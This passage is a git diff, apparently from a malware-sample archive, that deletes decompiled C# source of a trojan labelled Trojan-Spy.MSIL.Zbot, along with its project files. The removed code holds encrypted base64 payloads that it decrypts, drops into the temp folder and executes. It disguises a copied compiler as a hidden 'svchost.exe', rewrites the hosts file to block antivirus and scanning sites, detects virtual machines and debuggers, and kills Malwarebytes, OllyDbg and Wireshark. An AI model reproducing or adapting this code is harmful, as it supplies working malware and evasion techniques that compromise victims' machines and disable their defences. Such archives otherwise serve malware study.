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"; -label_22: - num3 = 26; - byte[] DAS4DA3 = pizde.okitokjwe33(Convert.FromBase64String(s1)); -label_23: - num3 = 27; - string str1; - string s2 = str1; -label_24: - num3 = 28; - byte[] data1 = pizde.okitokjwe33(Convert.FromBase64String(s2)); -label_25: - num3 = 29; - string str2; - string s3 = str2; -label_26: - num3 = 30; - pizde.decrypt(Convert.FromBase64String(s3), "parola"); -label_27: - num3 = 31; - string str3; - string s4 = str3; -label_28: - num3 = 32; - byte[] data2 = pizde.okitokjwe33(Convert.FromBase64String(s4)); -label_29: - num3 = 33; - Encoding.GetEncoding(1252).GetBytes(s1); -label_30: - num3 = 34; - object tempPath2 = (object) Path.GetTempPath(); -label_31: - num3 = 35; - Directory.CreateDirectory(Conversions.ToString(Operators.ConcatenateObject(tempPath2, (object) "winamp"))); -label_32: - num3 = 36; - string VVVVVVCAE = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath2, (object) "\\"), (object) "winamp"), (object) "\\"), (object) "svchost.exe")); -label_33: - num3 = 37; - string sourceFileName = "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe"; -label_34: - num3 = 38; - string str4 = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath2, (object) "\\"), (object) "winamp"), (object) "\\"), (object) "svchost.exe")); -label_35: - num3 = 39; - if (File.Exists(str4)) - goto label_37; -label_36: - num3 = 40; - File.Copy(sourceFileName, str4); -label_37: - num3 = 42; - FileAttributes fileAttributes2 = FileAttributes.Hidden | FileAttributes.System; -label_38: - num3 = 43; - File.SetAttributes(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath2, (object) "\\"), (object) "winamp"), (object) "\\"), (object) "svchost.exe")), fileAttributes2); -label_39: - num3 = 44; - if (pizde.IsProcessRunning4("nothong.exe")) - goto label_41; -label_40: - num3 = 45; - buffy.mickey(DAS4DA3, VVVVVVCAE); -label_41: - num3 = 47; - if (pizde.IsProcessRunning2("%temp%.exe")) - goto label_46; -label_42: - num3 = 48; - if (pizde.IsProcessRunning5("something.exe")) - goto label_46; -label_43: - num3 = 49; - string temp1 = MyProject.Computer.FileSystem.SpecialDirectories.Temp; -label_44: - num3 = 50; - MyProject.Computer.FileSystem.WriteAllBytes(temp1 + "\\%temp%.exe", data2, false); -label_45: - num3 = 51; - Process.Start(temp1 + "\\%temp%.exe"); -label_46: - num3 = 54; - if (pizde.IsProcessRunning3("%tmp%.exe")) - goto label_50; -label_47: - num3 = 55; - string temp2 = MyProject.Computer.FileSystem.SpecialDirectories.Temp; -label_48: - num3 = 56; - MyProject.Computer.FileSystem.WriteAllBytes(temp2 + "\\%tmp%.exe", data1, false); -label_49: - num3 = 57; - Process.Start(temp2 + "\\%tmp%.exe"); -label_50: - ProjectData.EndApp(); - goto label_57; -label_52: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - case 13: - goto label_11; - case 14: - goto label_12; - case 15: - case 17: - case 18: - goto label_14; - case 16: - goto label_13; - case 19: - goto label_15; - case 20: - goto label_16; - case 21: - goto label_17; - case 22: - goto label_18; - case 23: - goto label_19; - case 24: - goto label_20; - case 25: - goto label_21; - case 26: - goto label_22; - case 27: - goto label_23; - case 28: - goto label_24; - case 29: - goto label_25; - case 30: - goto label_26; - case 31: - goto label_27; - case 32: - goto label_28; - case 33: - goto label_29; - case 34: - goto label_30; - case 35: - goto label_31; - case 36: - goto label_32; - case 37: - goto label_33; - case 38: - goto label_34; - case 39: - goto label_35; - case 40: - goto label_36; - case 41: - case 42: - goto label_37; - case 43: - goto label_38; - case 44: - goto label_39; - case 45: - goto label_40; - case 46: - case 47: - goto label_41; - case 48: - goto label_42; - case 49: - goto label_43; - case 50: - goto label_44; - case 51: - goto label_45; - case 52: - case 53: - case 54: - goto label_46; - case 55: - goto label_47; - case 56: - goto label_48; - case 57: - goto label_49; - case 58: - goto label_50; - case 59: - goto label_57; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_52; - } - throw ProjectData.CreateProjectError(-2146828237); -label_57: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int IsDebuggerPresent(); - - public static void Main2() - { - if (pizde.IsDebuggerPresent() == 1) - Console.WriteLine("Debugger Is Present"); - else - Console.WriteLine("Debugger Not Present"); - } - - private static void HostEdit() - { - StreamWriter streamWriter = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\\\hosts"); - streamWriter.Write("127.0.0.1 www.virustotal.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virustotal.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 novirusthanks.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 vscan.novirusthanks.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virusscan.jotti.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.virusscan.jotti.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virscan.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.virscan.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 virus-trap.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.virus-trap.org"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 filterbit.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.filterbit.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 viruschief.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.viruschief.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 kaspersky.com"); - streamWriter.Write(Environment.NewLine); - streamWriter.Write("127.0.0.1 www.kaspersky.com"); - streamWriter.Dispose(); - } - - public static bool AntiVirtualBox() - { - int num1; - bool flag; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - pizde.getDevices(); - flag = Operators.CompareString(pizde.Grafikadapter, "VirtualBox Graphics Adapter", false) == 0; - goto label_7; -label_2: - num2 = -1; - switch (num1) - { - case 2: - ProjectData.EndApp(); - goto label_7; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - int num3 = flag ? 1 : 0; - if (num2 == 0) - return num3 != 0; - ProjectData.ClearProjectError(); - return num3 != 0; - } - - public static bool AntiVmWare() - { - int num1; - bool flag; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - pizde.getDevices(); - flag = Operators.CompareString(pizde.Grafikadapter, "VMware SVGA II", false) == 0; - goto label_7; -label_2: - num2 = -1; - switch (num1) - { - case 2: - ProjectData.EndApp(); - goto label_7; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - int num3 = flag ? 1 : 0; - if (num2 == 0) - return num3 != 0; - ProjectData.ClearProjectError(); - return num3 != 0; - } - - public static bool AntiVirtualPC() - { - int num1; - bool flag; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - pizde.getDevices(); - flag = Operators.CompareString(pizde.Grafikadapter, "VM Additions S3 Trio32/64", false) == 0; - goto label_7; -label_2: - num2 = -1; - switch (num1) - { - case 2: - ProjectData.EndApp(); - goto label_7; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - int num3 = flag ? 1 : 0; - if (num2 == 0) - return num3 != 0; - ProjectData.ClearProjectError(); - return num3 != 0; - } - - private static void getDevices() - { - // ISSUE: unable to decompile the method. - } - - public static void AntiMalwarebytes() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mbam", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void AntiOllydbg() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ollydbg", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - public static void AntiWireshark() - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "wireshark", false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - - private static bool IsProcessRunning2(string name) - { - Process[] processesByName = Process.GetProcessesByName("%temp%"); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - private static bool IsProcessRunning3(string name) - { - Process[] processesByName = Process.GetProcessesByName("%tmp%"); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - private static bool IsProcessRunning4(string name) - { - Process[] processesByName = Process.GetProcessesByName("nothong"); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - private static bool IsProcessRunning5(string name) - { - Process[] processesByName = Process.GetProcessesByName("something"); - int index = 0; - if (index >= processesByName.Length) - { - bool flag; - return flag; - } - return processesByName[index] != null; - } - - public static byte[] okitokjwe33(byte[] data) - { - using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) - { - rijndaelManaged.IV = new byte[16] - { - (byte) 1, - (byte) 2, - (byte) 3, - (byte) 4, - (byte) 5, - (byte) 6, - (byte) 7, - (byte) 8, - (byte) 9, - (byte) 1, - (byte) 2, - (byte) 3, - (byte) 4, - (byte) 5, - (byte) 6, - (byte) 7 - }; - rijndaelManaged.Key = new byte[16] - { - (byte) 7, - (byte) 6, - (byte) 5, - (byte) 4, - (byte) 3, - (byte) 2, - (byte) 1, - (byte) 9, - (byte) 8, - (byte) 7, - (byte) 6, - (byte) 5, - (byte) 4, - (byte) 3, - (byte) 2, - (byte) 1 - }; - return rijndaelManaged.CreateDecryptor().TransformFinalBlock(data, 0, data.Length); - } - } - - public static byte[] decrypt(byte[] message, string password) - { - byte[] bytes = Encoding.Default.GetBytes(password); - int num1 = (int) message[checked (message.Length - 1)] ^ 112; - byte[] arySrc = new byte[checked (message.Length + 1)]; - int num2 = checked (message.Length - 1); - int index1 = 0; - while (index1 <= num2) - { - int index2; - arySrc[index1] = checked ((byte) ((int) message[index1] ^ num1 ^ (int) bytes[index2])); - if (index2 == checked (password.Length - 1)) - index2 = 0; - else - checked { ++index2; } - checked { ++index1; } - } - return (byte[]) Microsoft.VisualBasic.CompilerServices.Utils.CopyArray((Array) arySrc, (Array) new byte[checked (message.Length - 2 + 1)]); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/MyApplication.cs deleted file mode 100644 index ad336a89..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: 1494342088, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D8834D99-94F0-4D07-8C3B-BB978F66BC3C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "10.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/MyComputer.cs deleted file mode 100644 index 6097096e..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: 1494342088, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D8834D99-94F0-4D07-8C3B-BB978F66BC3C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "10.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/MyProject.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/MyProject.cs deleted file mode 100644 index 937db145..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: 1494342088, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D8834D99-94F0-4D07-8C3B-BB978F66BC3C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "10.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/Trojan-Spy.MSIL.Zbot.cvt.csproj b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/Trojan-Spy.MSIL.Zbot.cvt.csproj deleted file mode 100644 index de80c0c6..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/Trojan-Spy.MSIL.Zbot.cvt.csproj +++ /dev/null @@ -1,44 +0,0 @@ - - - - - Debug - AnyCPU - {C9680BF7-E1BC-4959-AEFE-2065A967FF87} - Exe - 1494342088 - 0.0.0.0 - My - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/Trojan-Spy.MSIL.Zbot.cvt.sln b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/Trojan-Spy.MSIL.Zbot.cvt.sln deleted file mode 100644 index 99a1ec35..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac/Trojan-Spy.MSIL.Zbot.cvt.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "1494342088", "Trojan-Spy.MSIL.Zbot.cvt-d62c4e1435e8e25f3e630a2eca0aeec27f9b7aabe92ca04df855c67f3c5198ac.csproj", "{C9680BF7-E1BC-4959-AEFE-2065A967FF87}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {C9680BF7-E1BC-4959-AEFE-2065A967FF87}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {C9680BF7-E1BC-4959-AEFE-2065A967FF87}.Debug|Any CPU.Build.0 = Debug|Any CPU - {C9680BF7-E1BC-4959-AEFE-2065A967FF87}.Release|Any CPU.ActiveCfg = Release|Any CPU - {C9680BF7-E1BC-4959-AEFE-2065A967FF87}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - 